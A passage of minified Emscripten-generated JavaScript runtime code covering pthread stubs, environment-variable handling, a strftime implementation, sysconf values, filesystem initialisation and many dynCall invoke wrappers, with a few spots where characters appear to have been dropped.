_pthread_mutexattr_destroy(){}function _pthread_mutexattr_init(){}function _pthread_mutexattr_setprotocol(){}function _pthread_mutexattr_settype(){}function _pthread_once(ptr,func){if(!_pthread_once.seen)_pthread_once.seen={};if(ptr in _pthread_once.seen)return;Module["dynCall_v"](func);_pthread_once.seen[ptr]=1}function _pthread_setspecific(key,value){if(!(key in PTHREAD_SPECIFIC)){return ERRNO_CODES.EINVAL}PTHREAD_SPECIFIC[key]=value;return 0}function _sched_yield(){return 0}function _setenv(envname,envval,overwrite){if(envname===0){___setErrNo(ERRNO_CODES.EINVAL);return-1}var name=Pointer_stringify(envname);var val=Pointer_stringify(envval);if(name===""||name.indexOf("=")!==-1){___setErrNo(ERRNO_CODES.EINVAL);return-1}if(ENV.hasOwnProperty(name)&&!overwrite)return 0;ENV[name]=val;___buildEnvironment(__get_environ());return 0}function _sigaction(signum,act,oldact){return 0}function _sigemptyset(set){HEAP32[set>>2]=0;return 0}function __isLeapYear(year){return year%4===0&&(year%100!==0||year%400===0)}function __arraySum(array,index){var sum=0;for(var i=0;i<=index;sum+=array[i++]);return sum}var __MONTH_DAYS_LEAP=[31,29,31,30,31,30,31,31,30,31,30,31];var __MONTH_DAYS_REGULAR=[31,28,31,30,31,30,31,31,30,31,30,31];function __addDays(date,days){var newDate=new Date(date.getTime());while(days>0){var leap=__isLeapYear(newDate.getFullYear());var currentMonth=newDate.getMonth();var daysInCurrentMonth=(leap?__MONTH_DAYS_LEAP:__MONTH_DAYS_REGULAR)[currentMonth];if(days>daysInCurrentMonth-newDate.getDate()){days-=daysInCurrentMonth-newDate.getDate()+1;newDate.setDate(1);if(currentMonth<11){newDate.setMonth(currentMonth+1)}else{newDate.setMonth(0);newDate.setFullYear(newDate.getFullYear()+1)}}else{newDate.setDate(newDate.getDate()+days);return newDate}}return newDate}function _strftime(s,maxsize,format,tm){var tm_zone=HEAP32[tm+40>>2];var date={tm_sec:HEAP32[tm>>2],tm_min:HEAP32[tm+4>>2],tm_hour:HEAP32[tm+8>>2],tm_mday:HEAP32[tm+12>>2],tm_mon:HEAP32[tm+16>>2],tm_year:HEAP32[tm+20>>2],tm_wday:HEAP32[tm+24>>2],tm_yday:HEAP32[tm+28>>2],tm_isdst:HEAP32[tm+32>>2],tm_gmtoff:HEAP32[tm+36>>2],tm_zone:tm_zone?Pointer_stringify(tm_zone):""};var pattern=Pointer_stringify(format);var EXPANSION_RULES_1={"%c":"%a %b %d %H:%M:%S %Y","%D":"%m/%d/%y","%F":"%Y-%m-%d","%h":"%b","%r":"%I:%M:%S %p","%R":"%H:%M","%T":"%H:%M:%S","%x":"%m/%d/%y","%X":"%H:%M:%S"};for(var rule in EXPANSION_RULES_1){pattern=pattern.replace(new RegExp(rule,"g"),EXPANSION_RULES_1[rule])}var WEEKDAYS=["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"];var MONTHS=["January","February","March","April","May","June","July","August","September","October","November","December"];function leadingSomething(value,digits,character){var str=typeof value==="number"?value.toString():value||"";while(str.length0?1:0}var compare;if((compare=sgn(date1.getFullYear()-date2.getFullYear()))===0){if((compare=sgn(date1.getMonth()-date2.getMonth()))===0){compare=sgn(date1.getDate()-date2.getDate())}}return compare}function getFirstWeekStartDate(janFourth){switch(janFourth.getDay()){case 0:return new Date(janFourth.getFullYear()-1,11,29);case 1:return janFourth;case 2:return new Date(janFourth.getFullYear(),0,3);case 3:return new Date(janFourth.getFullYear(),0,2);case 4:return new Date(janFourth.getFullYear(),0,1);case 5:return new Date(janFourth.getFullYear()-1,11,31);case 6:return new Date(janFourth.getFullYear()-1,11,30)}}function getWeekBasedYear(date){var thisDate=__addDays(new Date(date.tm_year+1900,0,1),date.tm_yday);var janFourthThisYear=new Date(thisDate.getFullYear(),0,4);var janFourthNextYear=new Date(thisDate.getFullYear()+1,0,4);var firstWeekStartThisYear=getFirstWeekStartDate(janFourthThisYear);var firstWeekStartNextYear=getFirstWeekStartDate(janFourthNextYear);if(compareByDay(firstWeekStartThisYear,thisDate)<=0){if(compareByDay(firstWeekStartNextYear,thisDate)<=0){return thisDate.getFullYear()+1}else{return thisDate.getFullYear()}}else{return thisDate.getFullYear()-1}}var EXPANSION_RULES_2={"%a":(function(date){return WEEKDAYS[date.tm_wday].substring(0,3)}),"%A":(function(date){return WEEKDAYS[date.tm_wday]}),"%b":(function(date){return MONTHS[date.tm_mon].substring(0,3)}),"%B":(function(date){return MONTHS[date.tm_mon]}),"%C":(function(date){var year=date.tm_year+1900;return leadingNulls(year/100|0,2)}),"%d":(function(date){return leadingNulls(date.tm_mday,2)}),"%e":(function(date){return leadingSomething(date.tm_mday,2," ")}),"%g":(function(date){return getWeekBasedYear(date).toString().substring(2)}),"%G":(function(date){return getWeekBasedYear(date)}),"%H":(function(date){return leadingNulls(date.tm_hour,2)}),"%I":(function(date){var twelveHour=date.tm_hour;if(twelveHour==0)twelveHour=12;else if(twelveHour>12)twelveHour-=12;return leadingNulls(twelveHour,2)}),"%j":(function(date){return leadingNulls(date.tm_mday+__arraySum(__isLeapYear(date.tm_year+1900)?__MONTH_DAYS_LEAP:__MONTH_DAYS_REGULAR,date.tm_mon-1),3)}),"%m":(function(date){return leadingNulls(date.tm_mon+1,2)}),"%M":(function(date){return leadingNulls(date.tm_min,2)}),"%n":(function(){return"\n"}),"%p":(function(date){if(date.tm_hour>=0&&date.tm_hour<12){return"AM"}else{return"PM"}}),"%S":(function(date){return leadingNulls(date.tm_sec,2)}),"%t":(function(){return"\t"}),"%u":(function(date){var day=new Date(date.tm_year+1900,date.tm_mon+1,date.tm_mday,0,0,0,0);return day.getDay()||7}),"%U":(function(date){var janFirst=new Date(date.tm_year+1900,0,1);var firstSunday=janFirst.getDay()===0?janFirst:__addDays(janFirst,7-janFirst.getDay());var endDate=new Date(date.tm_year+1900,date.tm_mon,date.tm_mday);if(compareByDay(firstSunday,endDate)<0){var februaryFirstUntilEndMonth=__arraySum(__isLeapYear(endDate.getFullYear())?__MONTH_DAYS_LEAP:__MONTH_DAYS_REGULAR,endDate.getMonth()-1)-31;var firstSundayUntilEndJanuary=31-firstSunday.getDate();var days=firstSundayUntilEndJanuary+februaryFirstUntilEndMonth+endDate.getDate();return leadingNulls(Math.ceil(days/7),2)}return compareByDay(firstSunday,janFirst)===0?"01":"00"}),"%V":(function(date){var janFourthThisYear=new Date(date.tm_year+1900,0,4);var janFourthNextYear=new Date(date.tm_year+1901,0,4);var firstWeekStartThisYear=getFirstWeekStartDate(janFourthThisYear);var firstWeekStartNextYear=getFirstWeekStartDate(janFourthNextYear);var endDate=__addDays(new Date(date.tm_year+1900,0,1),date.tm_yday);if(compareByDay(endDate,firstWeekStartThisYear)<0){return"53"}if(compareByDay(firstWeekStartNextYear,endDate)<=0){return"01"}var daysDifference;if(firstWeekStartThisYear.getFullYear()=0;off=Math.abs(off)/60;off=off/60*100+off%60;return(ahead?"+":"-")+String("0000"+off).slice(-4)}),"%Z":(function(date){return date.tm_zone}),"%%":(function(){return"%"})};for(var rule in EXPANSION_RULES_2){if(pattern.indexOf(rule)>=0){pattern=pattern.replace(new RegExp(rule,"g"),EXPANSION_RULES_2[rule](date))}}var bytes=intArrayFromString(pattern,false);if(bytes.length>maxsize){return 0}writeArrayToMemory(bytes,s);return bytes.length-1}function _sysconf(name){switch(name){case 30:return PAGE_SIZE;case 85:var maxHeapSize=2*1024*1024*1024-65536;return maxHeapSize/PAGE_SIZE;case 132:case 133:case 12:case 137:case 138:case 15:case 235:case 16:case 17:case 18:case 19:case 20:case 149:case 13:case 10:case 236:case 153:case 9:case 21:case 22:case 159:case 154:case 14:case 77:case 78:case 139:case 80:case 81:case 82:case 68:case 67:case 164:case 11:case 29:case 47:case 48:case 95:case 52:case 51:case 46:return 200809;case 79:return 0;case 27:case 246:case 127:case 128:case 23:case 24:case 160:case 161:case 181:case 182:case 242:case 183:case 184:case 243:case 244:case 245:case 165:case 178:case 179:case 49:case 50:case 168:case 169:case 175:case 170:case 171:case 172:case 97:case 76:case 32:case 173:case 35:return-1;case 176:case 177:case 7:case 155:case 8:case 157:case 125:case 126:case 92:case 93:case 129:case 130:case 131:case 94:case 91:return 1;case 74:case 60:case 69:case 70:case 4:return 1024;case 31:case 42:case 72:return 32;case 87:case 26:case 33:return 2147483647;case 34:case 1:return 47839;case 38:case 36:return 99;case 43:case 37:return 2048;case 0:return 2097152;case 3:return 65536;case 28:return 32768;case 44:return 32767;case 75:return 16384;case 39:return 1e3;case 89:return 700;case 71:return 256;case 40:return 255;case 2:return 100;case 180:return 64;case 25:return 20;case 5:return 16;case 6:return 6;case 73:return 4;case 84:{if(typeof navigator==="object")return navigator["hardwareConcurrency"]||1;return 1}}___setErrNo(ERRNO_CODES.EINVAL);return-1}function _time(ptr){var ret=Date.now()/1e3|0;if(ptr){HEAP32[ptr>>2]=ret}return ret}function _unsetenv(name){if(name===0){___setErrNo(ERRNO_CODES.EINVAL);return-1}name=Pointer_stringify(name);if(name===""||name.indexOf("=")!==-1){___setErrNo(ERRNO_CODES.EINVAL);return-1}if(ENV.hasOwnProperty(name)){delete ENV[name];___buildEnvironment(__get_environ())}return 0}function _utime(path,times){var time;if(times){var offset=4;time=HEAP32[times+offset>>2];time*=1e3}else{time=Date.now()}path=Pointer_stringify(path);try{FS.utime(path,time,time);return 0}catch(e){FS.handleFSError(e);return-1}}FS.staticInit();__ATINIT__.unshift((function(){if(!Module["noFSInit"]&&!FS.init.initialized)FS.init()}));__ATMAIN__.push((function(){FS.ignorePermissions=false}));__ATEXIT__.push((function(){FS.quit()}));Module["FS_createPath"]=FS.createPath;Module["FS_createDataFile"]=FS.createDataFile;__ATINIT__.unshift((function(){TTY.init()}));__ATEXIT__.push((function(){TTY.shutdown()}));if(ENVIRONMENT_IS_NODE){var fs=require("fs");var NODEJS_PATH=require("path");NODEFS.staticInit()}__ATINIT__.push((function(){SOCKFS.root=FS.mount(SOCKFS,{},null)}));if(ENVIRONMENT_IS_NODE){_emscripten_get_now=function _emscripten_get_now_actual(){var t=process["hrtime"]();return t[0]*1e3+t[1]/1e6}}else if(typeof dateNow!=="undefined"){_emscripten_get_now=dateNow}else if(typeof self==="object"&&self["performance"]&&typeof self["performance"]["now"]==="function"){_emscripten_get_now=(function(){return self["performance"]["now"]()})}else if(typeof performance==="object"&&typeof performance["now"]==="function"){_emscripten_get_now=(function(){return performance["now"]()})}else{_emscripten_get_now=Date.now}Module["requestFullScreen"]=function Module_requestFullScreen(lockPointer,resizeCanvas,vrDevice){err("Module.requestFullScreen is deprecated. Please call Module.requestFullscreen instead.");Module["requestFullScreen"]=Module["requestFullscreen"];Browser.requestFullScreen(lockPointer,resizeCanvas,vrDevice)};Module["requestFullscreen"]=function Module_requestFullscreen(lockPointer,resizeCanvas,vrDevice){Browser.requestFullscreen(lockPointer,resizeCanvas,vrDevice)};Module["requestAnimationFrame"]=function Module_requestAnimationFrame(func){Browser.requestAnimationFrame(func)};Module["setCanvasSize"]=function Module_setCanvasSize(width,height,noUpdates){Browser.setCanvasSize(width,height,noUpdates)};Module["pauseMainLoop"]=function Module_pauseMainLoop(){Browser.mainLoop.pause()};Module["resumeMainLoop"]=function Module_resumeMainLoop(){Browser.mainLoop.resume()};Module["getUserMedia"]=function Module_getUserMedia(){Browser.getUserMedia()};Module["createContext"]=function Module_createContext(canvas,useWebGL,setInModule,webGLContextAttributes){return Browser.createContext(canvas,useWebGL,setInModule,webGLContextAttributes)};JSEvents.staticInit();var GLctx;GL.init();DYNAMICTOP_PTR=staticAlloc(4);STACK_BASE=STACKTOP=alignMemory(STATICTOP);STACK_MAX=STACK_BASE+TOTAL_STACK;DYNAMIC_BASE=alignMemory(STACK_MAX);HEAP32[DYNAMICTOP_PTR>>2]=DYNAMIC_BASE;staticSealed=true;function intArrayFromString(stringy,dontAddNull,length){var len=length>0?length:lengthBytesUTF8(stringy)+1;var u8array=new Array(len);var numBytesWritten=stringToUTF8Array(stringy,u8array,0,u8array.length);if(dontAddNull)u8array.length=numBytesWritten;return u8array}Module["wasmTableSize"]=70313;Module["wasmMaxTableSize"]=70313;function invoke_dddi(index,a1,a2,a3){var sp=stackSave();try{return Module["dynCall_dddi"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_ddi(index,a1,a2){var sp=stackSave();try{return Module["dynCall_ddi"](index,a1,a2)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_ddidi(index,a1,a2,a3,a4){var sp=stackSave();try{return Module["dynCall_ddidi"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_dfi(index,a1,a2){var sp=stackSave();try{return Module["dynCall_dfi"](index,a1,a2)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_di(index,a1){var sp=stackSave();try{return Module["dynCall_di"](index,a1)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_diddi(index,a1,a2,a3,a4){var sp=stackSave();try{return Module["dynCall_diddi"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_didi(index,a1,a2,a3){var sp=stackSave();try{return Module["dynCall_didi"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_dii(index,a1,a2){var sp=stackSave();try{return Module["dynCall_dii"](index,a1,a2)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_diii(index,a1,a2,a3){var sp=stackSave();try{return Module["dynCall_diii"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_diiii(index,a1,a2,a3,a4){var sp=stackSave();try{return Module["dynCall_diiii"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_dji(index,a1,a2,a3){var sp=stackSave();try{return Module["dynCall_dji"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_f(index){var sp=stackSave();try{return Module["dynCall_f"](index)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_fdi(index,a1,a2){var sp=stackSave();try{return Module["dynCall_fdi"](index,a1,a2)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_ff(index,a1){var sp=stackSave();try{return Module["dynCall_ff"](index,a1)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_fff(index,a1,a2){var sp=stackSave();try{return Module["dynCall_fff"](index,a1,a2)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_ffffffi(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{return Module["dynCall_ffffffi"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_ffffi(index,a1,a2,a3,a4){var sp=stackSave();try{return Module["dynCall_ffffi"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_fffi(index,a1,a2,a3){var sp=stackSave();try{return Module["dynCall_fffi"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_fffifffi(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{return Module["dynCall_fffifffi"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_ffi(index,a1,a2){var sp=stackSave();try{return Module["dynCall_ffi"](index,a1,a2)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_fi(index,a1){var sp=stackSave();try{return Module["dynCall_fi"](index,a1)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_fidi(index,a1,a2,a3){var sp=stackSave();try{return Module["dynCall_fidi"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_fif(index,a1,a2){var sp=stackSave();try{return Module["dynCall_fif"](index,a1,a2)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_fiff(index,a1,a2,a3){var sp=stackSave();try{return Module["dynCall_fiff"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_fifffi(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module["dynCall_fifffi"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_fiffi(index,a1,a2,a3,a4){var sp=stackSave();try{return Module["dynCall_fiffi"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_fifi(index,a1,a2,a3){var sp=stackSave();try{return Module["dynCall_fifi"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_fifii(index,a1,a2,a3,a4){var sp=stackSave();try{return Module["dynCall_fifii"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_fifiii(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module["dynCall_fifiii"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_fifiiiii(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{return Module["dynCall_fifiiiii"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_fii(index,a1,a2){var sp=stackSave();try{return Module["dynCall_fii"](index,a1,a2)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_fiifi(index,a1,a2,a3,a4){var sp=stackSave();try{return Module["dynCall_fiifi"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_fiifii(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module["dynCall_fiifii"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_fiii(index,a1,a2,a3){var sp=stackSave();try{return Module["dynCall_fiii"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_fiiifii(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{return Module["dynCall_fiiifii"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_fiiii(index,a1,a2,a3,a4){var sp=stackSave();try{return Module["dynCall_fiiii"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_fiiiif(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module["dynCall_fiiiif"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_fiiiii(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module["dynCall_fiiiii"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_fiiiiii(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{return Module["dynCall_fiiiiii"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_fiiiiiifiifif(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12){var sp=stackSave();try{return Module["dynCall_fiiiiiifiifif"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_fiiiiiifiiiif(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12){var sp=stackSave();try{return Module["dynCall_fiiiiiifiiiif"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_fji(index,a1,a2,a3){var sp=stackSave();try{return Module["dynCall_fji"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_i(index){var sp=stackSave();try{return Module["dynCall_i"](index)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_idi(index,a1,a2){var sp=stackSave();try{return Module["dynCall_idi"](index,a1,a2)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_idiii(index,a1,a2,a3,a4){var sp=stackSave();try{return Module["dynCall_idiii"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iffffi(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module["dynCall_iffffi"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_ifffi(index,a1,a2,a3,a4){var sp=stackSave();try{return Module["dynCall_ifffi"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iffi(index,a1,a2,a3){var sp=stackSave();try{return Module["dynCall_iffi"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_ifi(index,a1,a2){var sp=stackSave();try{return Module["dynCall_ifi"](index,a1,a2)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_ifiii(index,a1,a2,a3,a4){var sp=stackSave();try{return Module["dynCall_ifiii"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_ii(index,a1){var sp=stackSave();try{return Module["dynCall_ii"](index,a1)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iidi(index,a1,a2,a3){var sp=stackSave();try{return Module["dynCall_iidi"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iidii(index,a1,a2,a3,a4){var sp=stackSave();try{return Module["dynCall_iidii"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iif(index,a1,a2){var sp=stackSave();try{return Module["dynCall_iif"](index,a1,a2)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iifff(index,a1,a2,a3,a4){var sp=stackSave();try{return Module["dynCall_iifff"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iifffi(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module["dynCall_iifffi"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiffi(index,a1,a2,a3,a4){var sp=stackSave();try{return Module["dynCall_iiffi"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iifi(index,a1,a2,a3){var sp=stackSave();try{return Module["dynCall_iifi"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iifii(index,a1,a2,a3,a4){var sp=stackSave();try{return Module["dynCall_iifii"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iifiifiii(index,a1,a2,a3,a4,a5,a6,a7,a8){var sp=stackSave();try{return Module["dynCall_iifiifiii"](index,a1,a2,a3,a4,a5,a6,a7,a8)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iifiii(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module["dynCall_iifiii"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iifiiii(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{return Module["dynCall_iifiiii"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iifiiiijii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10){var sp=stackSave();try{return Module["dynCall_iifiiiijii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iii(index,a1,a2){var sp=stackSave();try{return Module["dynCall_iii"](index,a1,a2)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiddi(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module["dynCall_iiiddi"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiidi(index,a1,a2,a3,a4){var sp=stackSave();try{return Module["dynCall_iiidi"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiidii(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module["dynCall_iiidii"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiif(index,a1,a2,a3){var sp=stackSave();try{return Module["dynCall_iiif"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiff(index,a1,a2,a3,a4){var sp=stackSave();try{return Module["dynCall_iiiff"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiifi(index,a1,a2,a3,a4){var sp=stackSave();try{return Module["dynCall_iiifi"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiifii(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module["dynCall_iiifii"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiifiifii(index,a1,a2,a3,a4,a5,a6,a7,a8){var sp=stackSave();try{return Module["dynCall_iiifiifii"](index,a1,a2,a3,a4,a5,a6,a7,a8)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiifiifiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9){var sp=stackSave();try{return Module["dynCall_iiifiifiii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiifiii(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{return Module["dynCall_iiifiii"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function 